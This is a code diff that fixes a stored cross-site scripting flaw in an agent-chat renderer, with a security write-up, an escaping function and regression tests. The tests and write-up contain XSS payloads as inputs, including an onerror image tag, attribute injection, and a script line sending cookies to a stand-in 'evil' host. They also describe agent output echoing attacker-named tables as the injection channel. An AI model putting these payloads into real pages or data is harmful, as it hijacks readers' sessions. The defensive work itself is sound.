diff --git a/CLAUDE.md b/CLAUDE.md
index 52aac16..6300492 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -502,6 +502,26 @@ report in chat, but it never computes it.
 7. **Virtual Threads**: Enabled for concurrency (JDK 25).
 
 ### Frontend Rules
+
+0. **Anything reaching `dangerouslySetInnerHTML` must be escaped at the source.**
+   `AgentView`'s `boldify` applied its markdown substitutions to the raw string and escaped
+   nothing, so every character of an assistant reply was parsed as markup — verified by
+   executing it: `boldify('<img src=x onerror=…>')` returned the payload byte for byte, and
+   in a browser Chromium built a real `<img>` element and fired its handler. It is **stored**
+   XSS: `agent_conversation.transcript` is replayed into the renderer on load, and the agent
+   echoes database content, so a table named `<img src=x onerror=…>` renders in an analyst's
+   browser. httpOnly cookies mean the token cannot be read, but `withCredentials` means the
+   payload acts *as* the reader. **Escape before substituting, never after** — escaping after
+   would escape the `<strong>`/`<code>` tags the function itself emits and print literal tag
+   text. Note `<script>` via `innerHTML` does **not** execute (HTML spec); the live vector is
+   an event-handler attribute, which is what a regression test must assert on.
+   `Brain/AgentArtifacts.jsx` had the same bug with a styled `<code>`; both now share one
+   escape and pass only presentation in, so the two cannot drift. A safe renderer already
+   exists (`AgentChat/AgentMarkdown.jsx` — `ReactMarkdown` + `remarkGfm`, no `rehype-raw`)
+   and is the better long-term shape, but swapping it into `AgentView` is a visual redesign,
+   not a security fix. There is still **no CSP header**, so nothing stands behind this.
+   See `docs/security/2026-09-16-agent-chat-stored-xss.md`.
+
 1. **API Centralization**: ALL API calls through `src/lib/api/client.js`. Never create direct axios instances.
 2. **Server State**: Use TanStack Query hooks from `src/lib/hooks/queries/` (not useState/useEffect for data fetching).
 3. **UI State**: Use Zustand stores from `src/lib/stores/`. Prefer selector hooks for optimized re-renders.
diff --git a/docs/security/2026-09-16-agent-chat-stored-xss.md b/docs/security/2026-09-16-agent-chat-stored-xss.md
new file mode 100644
index 0000000..d4c7be3
--- /dev/null
+++ b/docs/security/2026-09-16-agent-chat-stored-xss.md
@@ -0,0 +1,124 @@
+# Agent chat rendered agent output as HTML
+
+*Found 2026-09-10 in a repository-wide security audit; fixed and verified in a browser
+2026-09-16. Severity: high.*
+
+## What was wrong
+
+`AgentView` renders assistant replies through `dangerouslySetInnerHTML`, and the function
+feeding it escaped nothing:
+
+```js
+function boldify(text) {
+  return text
+    .replace(/\*\*(.*?)\*\*/g, "<strong>$1</strong>")
+    .replace(/`([^`]+)`/g, "<code>$1</code>");
+}
+```
+
+Two sinks used it (`AgentView.jsx:906` and `:910`), so every character of an assistant
+reply was parsed as markup. Confirmed by **executing the shipped function**, not by reading
+it:
+
+```
+IN : <img src=x onerror=alert(document.cookie)>
+OUT: <img src=x onerror=alert(document.cookie)>     byte for byte
+```
+
+`**a" onmouseover="alert(1)**` was worse than it looks: the `**` delimiters are consumed by
+the substitution, so the attacker's quotes survived into the emitted tag and grew an
+attribute on it.
+
+## Why it mattered
+
+**Stored, not reflected.** `agent_conversation.transcript` is a JSONB column replayed into
+this renderer on load, so a payload fires again on every visit rather than once.
+
+**The input is not trusted.** The agent echoes database content — table names, column
+comments, sampled values. A real stored transcript in this install reads:
+
+> No — `**DANGER**`. It rewrites the whole `` `t` `` table, takes an
+> `**AccessExclusiveLock**` …
+
+where `` `t` `` is a table name the agent read from the database. That is the same channel
+an injected identifier arrives on: name a table `<img src=x onerror=…>` and the agent will
+faithfully repeat it into an analyst's browser.
+
+**Severity is capped, not removed.** Auth is an httpOnly cookie
+(`AuthSessionService.java:256`), so the token itself cannot be read by injected script.
+But `client.js` sends `withCredentials: true`, so the payload *acts as the reader* against
+the API — running queries, reading results, and reaching admin endpoints if the reader is an
+admin. Account takeover becomes session riding, which is better and still high.
+
+One nuance worth recording so it is not rediscovered: a `<script>` tag inserted via
+`innerHTML` **does not execute** (HTML spec). The live vector is an event-handler attribute
+such as `onerror`. Both are escaped; the distinction matters when writing the regression
+test, because asserting only on `<script>` would prove nothing.
+
+## The fix
+
+Escape first, then substitute:
+
+```js
+export function boldify(text, codeTag = PLAIN_CODE_TAG) {
+  if (!text) return "";
+  return escapeHtml(text)
+    .replace(/\*\*(.*?)\*\*/g, "<strong>$1</strong>")
+    .replace(/`([^`]+)`/g, codeTag);
+}
+```
+
+**Order is load-bearing.** Escaping *after* the substitutions would also escape the
+`<strong>` and `<code>` tags this function emits, and the reader would see literal tag text
+instead of formatting. That is the obvious thing to "simplify" later, so both halves are
+pinned by tests.
+
+**Why not swap in the safe renderer that already exists.** `AgentChat/AgentMarkdown.jsx`
+uses `ReactMarkdown` + `remarkGfm`, which escapes HTML by default and deliberately omits
+`rehype-raw`. It is the right long-term answer, but it is a *complete* renderer carrying its
+own CSS module, a `DownloadableTable` and link handling, while `AgentView` has bespoke inline
+styles for headings, bullets and fenced blocks. Swapping it in would make this a visual
+redesign inside a security fix — harder to review, riskier to merge. Escaping at the source
+is four lines and changes no pixels.
+
+**Why not escape everything.** The agent leans on this formatting heavily, as the real
+transcript above shows. A fix that rendered `**DANGER**` as literal asterisks would be
+rejected by its users.
+
+## The sibling sink
+
+`Brain/AgentArtifacts.jsx:136` had the identical bug with a *styled* `<code>` tag. It is
+currently unreachable — `features.js` has `AGENTS_ENABLED = false`, which removes `brain`
+from the section map — but it is dead-code-adjacent rather than dead: the day that flag
+flips, it is live.
+
+Both renderers now share one escaping implementation, with only the code-tag markup passed
+in. Duplicating the escape into both files is what lets one get fixed and the other missed —
+the same drift the Java and JS SQL guards are kept in sync to avoid.
+
+## Verification
+
+| Step | Result |
+|---|---|
+| Tests against the real shipped `boldify` (RED) | **6 fail**, 5 pass — the 5 are the formatting cases, so they are not vacuous |
+| Tests after the fix (GREEN) | 12 pass |
+| `escapeHtml` removed (mutation) | **7 fail** — the tests guard the fix |
+| Browser, payload through old code | `onerror` **executed**; 1 real `<img>` element in the DOM |
+| Browser, payload through fixed code | `onerror` **did not execute**; **0** `<img>` elements; payload shown as visible text |
+| `npm run build` | clean |
+| `npm run lint` | 41 errors on main, **41 with this change** — unchanged baseline; 0 errors in the four files touched |
+| Frontend tests | 22 pass, 0 fail |
+
+The browser check is the one that matters. `imgTagsBefore: 1` shows Chromium parsed the
+payload into a real element and fired its handler; `imgTagsAfter: 0` with the tag visible as
+text shows the fixed path renders it as the data it is.
+
+## Residual work
+
+- There is **no `Content-Security-Policy` header**. `docker/nginx/default.conf` sets
+  `X-Frame-Options`, `X-Content-Type-Options` and `Referrer-Policy` but no CSP, so nothing
+  stands behind an escaping bug if another one is introduced. A `script-src` without
+  `unsafe-inline` is the defence in depth this sink deserves; it is a deployment change with
+  its own blast radius and belongs in its own PR.
+- Migrating `AgentView` to `AgentMarkdown` remains the better long-term shape, as a
+  deliberate UI change rather than a security fix.
diff --git a/src/components/Agent/AgentView.jsx b/src/components/Agent/AgentView.jsx
index 9a2df59..87b3e0f 100644
--- a/src/components/Agent/AgentView.jsx
+++ b/src/components/Agent/AgentView.jsx
@@ -16,6 +16,7 @@ import FeedbackButtons from "@/components/FeedbackButtons";
 import CreateAgentModal from "@/components/Brain/CreateAgentModal";
 import { saveAgent } from "@/components/Brain/brainAgentStore";
 import styles from "./AgentView.module.css";
+import { boldify } from "./boldify.js";
 
 const FALLBACK_PROMPTS = [
   {
@@ -882,12 +883,6 @@ function WaveText({ text, className }) {
   );
 }
 
-function boldify(text) {
-  return text
-    .replace(/\*\*(.*?)\*\*/g, "<strong>$1</strong>")
-    .replace(/`([^`]+)`/g, "<code>$1</code>");
-}
-
 function renderMarkdownLine(line, i) {
   if (!line.trim()) return <br key={i} />;
   if (line.match(/^#{1,3}\s/)) {
diff --git a/src/components/Agent/boldify.js b/src/components/Agent/boldify.js
new file mode 100644
index 0000000..5a096d1
--- /dev/null
+++ b/src/components/Agent/boldify.js
@@ -0,0 +1,44 @@
+// Inline markdown for Agent chat, rendered through dangerouslySetInnerHTML in AgentView.
+//
+// Every character returned here is parsed as HTML, so the escape is not optional. The
+// original applied its substitutions to the raw string and escaped nothing, which made
+// agent output — and any database value the agent echoes, such as a table name — render
+// as markup in the reader's browser. Confirmed by executing the shipped function:
+// boldify('<img src=x onerror=alert(document.cookie)>') returned the payload byte for byte.
+//
+// The payload is stored rather than reflected: agent_conversation.transcript is replayed
+// into this renderer on load, so it fires again on every visit. Auth is an httpOnly
+// cookie, so the token itself cannot be read — but client.js sends withCredentials, so
+// injected script acts as the reader against the API.
+//
+// Order is load-bearing. Escaping must happen BEFORE the substitutions; escaping after
+// would also escape the <strong> and <code> tags this function emits, and the reader
+// would see literal tag text instead of formatting. boldify.test.js pins both halves.
+
+const HTML_ESCAPES = {
+  "&": "&amp;",
+  "<": "&lt;",
+  ">": "&gt;",
+  '"': "&quot;",
+  "'": "&#39;",
+};
+
+function escapeHtml(text) {
+  return text.replace(/[&<>"']/g, (char) => HTML_ESCAPES[char]);
+}
+
+const PLAIN_CODE_TAG = "<code>$1</code>";
+
+/**
+ * Escapes HTML, then renders `**bold**` and `` `code` `` as real tags.
+ *
+ * `codeTag` lets a caller supply its own <code> markup — Brain's AgentArtifacts styles
+ * its inline code differently. Only presentation is a parameter; the escaping above is
+ * shared on purpose, so the two renderers cannot drift apart on the half that matters.
+ */
+export function boldify(text, codeTag = PLAIN_CODE_TAG) {
+  if (!text) return "";
+  return escapeHtml(text)
+    .replace(/\*\*(.*?)\*\*/g, "<strong>$1</strong>")
+    .replace(/`([^`]+)`/g, codeTag);
+}
diff --git a/src/components/Agent/boldify.test.js b/src/components/Agent/boldify.test.js
new file mode 100644
index 0000000..a3dfe76
--- /dev/null
+++ b/src/components/Agent/boldify.test.js
@@ -0,0 +1,110 @@
+import test from 'node:test'
+import assert from 'node:assert/strict'
+import { boldify } from './boldify.js'
+
+// boldify's output goes straight into dangerouslySetInnerHTML in AgentView, so every
+// character it returns is parsed as HTML. It applied its markdown substitutions to the
+// raw string and escaped nothing, which made agent output — and therefore any database
+// value the agent echoes — executable in the reader's browser.
+//
+// Confirmed by executing the shipped function, not by reading it:
+//   boldify('<img src=x onerror=alert(document.cookie)>')
+//   -> '<img src=x onerror=alert(document.cookie)>'   (byte-for-byte)
+//
+// The payload is stored, not reflected: agent_conversation.transcript is replayed into
+// this renderer on load, so it fires again on every visit.
+
+test('escapes an image-with-onerror payload instead of returning it verbatim', () => {
+  const out = boldify('<img src=x onerror=alert(document.cookie)>')
+
+  assert.ok(!out.includes('<img'), `raw <img reached innerHTML: ${out}`)
+  assert.ok(out.includes('&lt;img'), `payload was not escaped: ${out}`)
+})
+
+// <script> inserted via innerHTML does not execute, per the HTML spec — the live vector
+// is an event-handler attribute. Both are escaped; this case is kept so the distinction
+// stays on the record rather than being rediscovered.
+test('escapes a script tag', () => {
+  const out = boldify('<script>fetch("//evil/"+document.cookie)</script>')
+
+  assert.ok(!out.includes('<script>'), `raw <script> reached innerHTML: ${out}`)
+  assert.ok(out.includes('&lt;script&gt;'), out)
+})
+
+// The delimiters are consumed by the substitution, so the attacker's quote has to survive
+// as data. Unescaped, `**a" onmouseover="alert(1)**` closed <strong>'s attribute list.
+test('escapes quotes so a bold span cannot grow an attribute', () => {
+  const out = boldify('**a" onmouseover="alert(1)**')
+
+  assert.ok(!out.includes('onmouseover="alert(1)"'), `attribute injection survived: ${out}`)
+  assert.ok(out.includes('&quot;'), out)
+})
+
+test('escapes a javascript: href smuggled through an anchor', () => {
+  const out = boldify('<a href="javascript:alert(1)">x</a>')
+
+  assert.ok(!out.includes('<a href'), out)
+})
+
+// Escaping has to happen BEFORE the markdown substitutions, or the <strong> and <code>
+// tags boldify emits are themselves escaped and the reader sees literal tag text. That
+// ordering is the whole subtlety of this fix and is the obvious thing to "simplify"
+// later, so it is pinned here.
+test('still renders bold markdown as real strong tags', () => {
+  assert.equal(boldify('a **b** c'), 'a <strong>b</strong> c')
+})
+
+test('still renders inline code as real code tags', () => {
+  assert.equal(boldify('run `SELECT 1` now'), 'run <code>SELECT 1</code> now')
+})
+
+// Taken from a real stored transcript (agent_conversation.transcript). The agent leans on
+// bold and inline code heavily, and the `t` here is a table name echoed from the database —
+// the same channel an injected identifier would arrive on. A fix that broke this formatting
+// would be rejected by its users, which is why escaping everything was not an option.
+test('renders a real agent reply with its formatting intact', () => {
+  const out = boldify('No — **DANGER**. It rewrites the whole `t` table, taking an **AccessExclusiveLock**.')
+
+  assert.equal(
+    out,
+    'No — <strong>DANGER</strong>. It rewrites the whole <code>t</code> table, '
+      + 'taking an <strong>AccessExclusiveLock</strong>.'
+  )
+})
+
+// A table named by an attacker still has to read as its own name, not as markup.
+test('escapes html inside a bold span rather than emitting it', () => {
+  const out = boldify('**<img src=x onerror=alert(1)>**')
+
+  assert.ok(out.startsWith('<strong>'), out)
+  assert.ok(!out.includes('<img'), out)
+  assert.ok(out.includes('&lt;img'), out)
+})
+
+test('escapes ampersands so an entity cannot be reconstructed', () => {
+  assert.equal(boldify('a & b'), 'a &amp; b')
+  assert.ok(!boldify('&lt;img&gt;').includes('&lt;img&gt;'.replace('&lt;', '<')))
+})
+
+test('leaves ordinary prose untouched', () => {
+  assert.equal(boldify('just a normal sentence'), 'just a normal sentence')
+})
+
+test('handles empty and whitespace input', () => {
+  assert.equal(boldify(''), '')
+  assert.equal(boldify('   '), '   ')
+})
+
+// Brain's AgentArtifacts passes its own <code> markup. Presentation differs; the escaping
+// must not, or fixing one renderer would leave the other injectable.
+test('escapes the same way when a caller supplies its own code tag', () => {
+  const styled = '<code style="background:#f3f4f6">$1</code>'
+
+  assert.equal(
+    boldify('run `SELECT 1`', styled),
+    'run <code style="background:#f3f4f6">SELECT 1</code>'
+  )
+  const out = boldify('<img src=x onerror=alert(1)>', styled)
+  assert.ok(!out.includes('<img'), out)
+  assert.ok(out.includes('&lt;img'), out)
+})
diff --git a/src/components/Brain/AgentArtifacts.jsx b/src/components/Brain/AgentArtifacts.jsx
index 877e961..3ca564e 100644
--- a/src/components/Brain/AgentArtifacts.jsx
+++ b/src/components/Brain/AgentArtifacts.jsx
@@ -18,6 +18,7 @@ import {
 import * as XLSX from 'xlsx'
 import { Download, FileSpreadsheet, FileText, ChevronDown, ChevronUp } from 'lucide-react'
 import styles from './AgentArtifacts.module.css'
+import { boldify as sharedBoldify } from '../Agent/boldify.js'
 
 // ── Palette ───────────────────────────────────────────────────────────────────
 
@@ -133,10 +134,13 @@ function chartToRows(data) {
 
 // ── Markdown text renderer ───────────────────────────────────────────────────
 
+// Presentation only — the escaping lives in the shared module so this renderer and
+// AgentView cannot diverge on the half that stops injected markup executing.
+const STYLED_CODE_TAG =
+  '<code style="background:#f3f4f6;padding:1px 5px;border-radius:3px;font-size:0.88em;font-family:monospace">$1</code>'
+
 function boldify(text) {
-  return text
-    .replace(/\*\*(.*?)\*\*/g, '<strong>$1</strong>')
-    .replace(/`([^`]+)`/g, '<code style="background:#f3f4f6;padding:1px 5px;border-radius:3px;font-size:0.88em;font-family:monospace">$1</code>')
+  return sharedBoldify(text, STYLED_CODE_TAG)
 }
 
 function RenderText({ content }) {